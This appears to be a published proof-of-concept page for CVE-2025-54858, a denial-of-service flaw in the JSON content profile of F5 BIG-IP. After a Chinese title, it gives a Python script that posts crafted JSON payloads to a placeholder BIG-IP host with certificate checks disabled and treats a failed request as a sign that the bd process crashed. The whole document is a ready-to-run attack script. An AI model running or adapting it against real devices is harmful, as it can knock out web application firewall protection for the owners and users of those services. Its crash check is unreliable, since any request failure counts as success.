CVE-2025-54858 F5 BIG-IP JSON内容配置畸形导致拒绝服务漏洞

# CVE-2025-54858 PoC - F5 BIG-IP JSON Content Profile DoS # This PoC demonstrates triggering the bd process crash via malformed JSON schema # Note: Requires a BIG-IP device with Advanced WAF/ASM configured with # a JSON content profile containing a malformed JSON schema import requests import json import sys target_host = "https://target-bigip.example.com" virtual_server_path = "/" # Path protected by the vulnerable virtual server def trigger_crash(): """ Send crafted HTTP requests that trigger JSON schema validation in the bd process, causing it to terminate. """ # Attempt 1: Send request with JSON content-type to trigger schema validation headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-54858)" } # Crafted JSON payload designed to trigger malformed schema validation payloads = [ # Deeply nested JSON to trigger schema validation edge cases json.dumps({"a": {"b": {"c": {"d": {"e": {"f": "test"}}}}}}), # JSON with unexpected types json.dumps({"data": [1, 2, {"nested": [True, None, "string"]}]}), # Large JSON object json.dumps({f"key_{i}": f"value_{i}" for i in range(100)}), ] for i, payload in enumerate(payloads): try: print(f"[*] Sending payload {i+1}/{len(payloads)}...") response = requests.post( f"{target_host}{virtual_server_path}", headers=headers, data=payload, timeout=10, verify=False ) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (possible crash): {e}") return True return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-54858 - F5 BIG-IP JSON Content Profile DoS PoC") print("=" * 60) print(f"[*] Target: {target_host}") print(f"[*] Path: {virtual_server_path}") print() if trigger_crash(): print("[+] bd process may have been terminated!") sys.exit(0) else: print("[-] No crash detected. Target may not be vulnerable.") sys.exit(1)